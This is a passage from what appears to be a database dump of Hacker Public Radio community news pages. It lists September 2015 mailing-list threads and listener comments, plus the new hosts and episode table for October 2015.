href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/952\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/952</a><br/>\n        <em>Messages:</em> 3<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-09-16 18:04:01 -0500<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 84, Issue 18<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/955\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/955</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Fifty OneFifty &lt;fiftyonefifty@...&gt;<br/>\n        <em>Date:</em> 2015-09-18 01:04:19 -0500<br/>\n        <em>Subject:</em> The HPR Zoom H1<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/956\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/956</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> &quot;Thaj A. Sara&quot; &lt;thajasara@...&gt;<br/>\n        <em>Date:</em> 2015-09-18 18:12:11 -0400<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 84, Issue 20<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/957\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/957</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-09-22 21:53:09 +0200<br/>\n        <em>Subject:</em> Re: [SPAM] HPR Menus are not accessible<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/958\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/958</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-09-24 13:46:16 +0200<br/>\n        <em>Subject:</em> Linux News Log coming to an end after 10 years<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/959\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/959</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-09-28 11:15:19 +0100<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2015-10-03T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/965</a><br/>\n        <em>Messages:</em> 1<br/></li>\n</ol>\nTotal messages this month: 56<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 43 comments:</p>\n<ul> \n<li><strong><a href=\"https://hobbypublicradio.org/eps.php?id=1739#comments\" target=\"_blank\">hpr1739</a></strong>\n(2015-04-02) \"<em>Theater of the Imagination: Part 07</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.\n<ul>  <li><a href=\"https://hobbypublicradio.org/eps.php?id=1739#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFithty on 2015-09-08:\n\"Thanks for conpairing Zoom and Tascam\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1750#comments\" target=\"_blank\">hpr1750</a></strong>\n(2015-04-17) \"<em>xclip, xdotool, xvkbd: 3 CLI Linux tools for RSI sufferers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>        <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#7\" target=\"_blank\">Comment 7</a>:\nRob Blaine on 2015-09-27:\n\"Blather works great!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#8\" target=\"_blank\">Comment 8</a>:\nJon Kulp  on 2015-09-27:\n\"Blather\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1750#9\" target=\"_blank\">Comment 9</a>:\nRob Blaine on 2015-09-28:\n\"Blather and RSI\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1831#comments\" target=\"_blank\">hpr1831</a></strong>\n(2015-08-10) \"<em>Are speed listening and slow background music compatible?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>      <li><a href=\"https://hackerpublicradio.org/eps.php?id=1831#5\" target=\"_blank\">Comment 5</a>:\nfolky on 2015-09-07:\n\"It depends\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1834#comments\" target=\"_blank\">hpr1834</a></strong>\n(2015-08-13) \"<em>Password Cards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1834#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2015-09-03:\n\"Very useful\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1837#comments\" target=\"_blank\">hpr1837</a></strong>\n(2015-08-18) \"<em>Put an SSD in your Linux Box</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\" target=\"_blank\">2BFrank</a>.\n<ul>    <li><a href=\"https://hackerpublicradio.org/eps.php?id=1837#3\" target=\"_blank\">Comment 3</a>:\n2BFrank on 2015-09-15:\n\"Good points\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1841#comments\" target=\"_blank\">hpr1841</a></strong>\n(2015-08-24) \"<em>My way into Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.\n<ul>   <li><a href=\"https://hackerpublicradio.org/eps.php?id=1841#2\" target=\"_blank\">Comment 2</a>:\nfolky on 2015-09-02:\n\"Thank you\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1846#comments\" target=\"_blank\">hpr1846</a></strong>\n(2015-08-31) \"<em>UNI-T UT61E Review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-09-01:\n\"Uni-T Meters\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2015-09-01:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2015-09-02:\n\"Unit-T meters and serial ports\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2015-09-02:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2015-09-03:\n\"PL2303 USB-toRS232 and UT6?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1846#6\" target=\"_blank\">Comment 6</a>:\ndavidWHITMAN on 2015-09-07:\n\"Damn You!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1847#comments\" target=\"_blank\">hpr1847</a></strong>\n(2015-09-01) \"<em>Client Side C- WTF Is Wrong With You?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1847#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2015-09-17:\n\"I always look forward to your shows...\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1848#comments\" target=\"_blank\">hpr1848</a></strong>\n(2015-09-02) \"<em>Introduction to w3m, a Command Line Web Browser</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1848#1\" target=\"_blank\">Comment 1</a>:\ntom_len on 2015-10-01:\n\"automatize login from command line\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1850#comments\" target=\"_blank\">hpr1850</a></strong>\n(2015-09-04) \"<em>18 - ssh Introduction</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1850#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-09-10:\n\"portable version of OpenSSH\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1850#2\" target=\"_blank\">Comment 2</a>:\nGabriel Evenfire on 2015-09-17:\n\"This could be a very fruitful series.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1850#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2015-09-20:\n\"Thank you\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1851#comments\" target=\"_blank\">hpr1851</a></strong>\n(2015-09-07) \"<em>HPR Community News for August 2015</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1851#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-09-07:\n\"Markdown show notes\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1851#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-09-08:\n\"Markdown etc.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1851#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2015-09-08:\n\"Electronics videos. \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1851#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2015-09-09:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1853#comments\" target=\"_blank\">hpr1853</a></strong>\n(2015-09-09) \"<em>I &lt;3 Vista</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=303\" target=\"_blank\">Alpha32</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1853#1\" target=\"_blank\">Comment 1</a>:\nAaronb483 on 2015-09-11:\n\"great name for podcast\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1856#comments\" target=\"_blank\">hpr1856</a></strong>\n(2015-09-14) \"<em>ssh config</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1856#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-09-14:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1856#2\" target=\"_blank\">Comment 2</a>:\nb-yeezi on 2015-09-15:\n\"Thanks\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1856#3\" target=\"_blank\">Comment 3</a>:\nGabriel Evenfire on 2015-09-17:\n\"Identity file\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1857#comments\" target=\"_blank\">hpr1857</a></strong>\n(2015-09-15) \"<em>Adventures In Coffee</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1857#1\" target=\"_blank\">Comment 1</a>:\nGabriel Evenfire on 2015-09-17:\n\"A nice episode even for non-coffee people\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1857#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-09-18:\n\"I enjoyed this a lot\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1857#3\" target=\"_blank\">Comment 3</a>:\nMichael on 2015-09-24:\n\"You got my european mind.\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1858#comments\" target=\"_blank\">hpr1858</a></strong>\n(2015-09-16) \"<em>Multimeter Mod&#39;s Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-09-16:\n\"Thank you! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-09-16:\n\"Hacking at it&#39;s best\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2015-09-16:\n\"Thanks, Jon. \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2015-09-16:\n\"Ha, thanks Mike. \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#5\" target=\"_blank\">Comment 5</a>:\nmirwi on 2015-09-24:\n\"Splitting hair...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#6\" target=\"_blank\">Comment 6</a>:\nNYbill on 2015-09-25:\n\"Transitors\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1858#7\" target=\"_blank\">Comment 7</a>:\nMike Ray on 2015-09-26:\n\"Transistors\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1859#comments\" target=\"_blank\">hpr1859</a></strong>\n(2015-09-17) \"<em>A Mouse in a Maze on the Raspberry PI</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=259\" target=\"_blank\">Gabriel Evenfire</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1859#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-09-17:\n\"Welcome return\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1862#comments\" target=\"_blank\">hpr1862</a></strong>\n(2015-09-22) \"<em>The Awesomely Epic Guide To KDE Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1862#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-09-28:\n\"I just enabled a load of these\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1863#comments\" target=\"_blank\">hpr1863</a></strong>\n(2015-09-23) \"<em>The Awesomely Epic Guide To KDE Part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1863#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-09-23:\n\"Probably still will not switch to KDE, but... \"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1864#comments\" target=\"_blank\">hpr1864</a></strong>\n(2015-09-24) \"<em>Turning an old printer into a network printer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-09-24:\n\"Whoa remote scanning! \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1864#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-09-27:\n\"Remote scanning, etc\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1866#comments\" target=\"_blank\">hpr1866</a></strong>\n(2015-09-28) \"<em>An awkward talk with two young computer users</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1866#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2015-09-28:\"[no title]\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1891,'2015-11-02','HPR Community News for October 2015',2667,'HPR Community News for October 2015','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=312\" target=\"_blank\">Moral Volcano</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1869\" target=\"_blank\">1869</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-10-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1869\" target=\"_blank\">Irssi Connectbot</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1870\" target=\"_blank\">1870</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-10-02</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1870\" target=\"_blank\">19 - Home SSH Server</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1871\" target=\"_blank\">1871</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-10-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1871\" target=\"_blank\">HPR Community News for September 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1872\" target=\"_blank\">1872</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-10-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1872\" target=\"_blank\">Sim City BuildIt September 2015</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1873\" target=\"_blank\">1873</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-10-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1873\" target=\"_blank\">TiT Radio 21 - I Thought I Had Better Links</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1874\" target=\"_blank\">1874</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-10-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1874\" target=\"_blank\">Interview with Droops</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1875\" target=\"_blank\">1875</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-10-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1875\" target=\"_blank\">63 - LibreOffice Impress - Formatting Text</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1876\" target=\"_blank\">1876</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-10-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1876\" target=\"_blank\">MicrobeLog, or: On Shaving Yaks and Doing Things</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1877\" target=\"_blank\">1877</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-10-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1877\" target=\"_blank\">Recording HPR on the fly on your Android phone</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1878\" target=\"_blank\">1878</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-10-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1878\" target=\"_blank\">What\'s In My Bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1879\" target=\"_blank\">1879</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-10-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1879\" target=\"_blank\">Hacking a Belt to Make it Fit</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1880\" target=\"_blank\">1880</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-10-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1880\" target=\"_blank\">Arduino Bluetooth HOWTO</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1881\" target=\"_blank\">1881</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-10-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1881\" target=\"_blank\">My road to Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1882\" target=\"_blank\">1882</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-10-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1882\" target=\"_blank\">How I Compute Away From My Computer</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1883\" target=\"_blank\">1883</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-10-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1883\" target=\"_blank\">Don\'t Get Locked In</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">Knightwise</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1884\" target=\"_blank\">1884</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-10-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1884\" target=\"_blank\">Some more Bash tips</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1885\" target=\"_blank\">1885</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-10-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1885\" target=\"_blank\">64 - LibreOffice Impress - Multimedia</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1886\" target=\"_blank\">1886</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-10-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1886\" target=\"_blank\">Moral Volcano\'s Linux Tips &amp; Tricks podcast for Hacker Public Radio</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=312\" target=\"_blank\">Moral Volcano</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1887\" target=\"_blank\">1887</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-10-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1887\" target=\"_blank\">Coffee Making Basics</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=313\" target=\"_blank\">JustMe</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1888\" target=\"_blank\">1888</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-10-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1888\" target=\"_blank\">Diceware Passphrase</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=277\" target=\"_blank\">John Duarte</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1889\" target=\"_blank\">1889</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-10-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1889\" target=\"_blank\">experiencing the meegopad T-02  part one</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1890\" target=\"_blank\">1890</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-10-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1890\" target=\"_blank\">A short walk with my son</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" 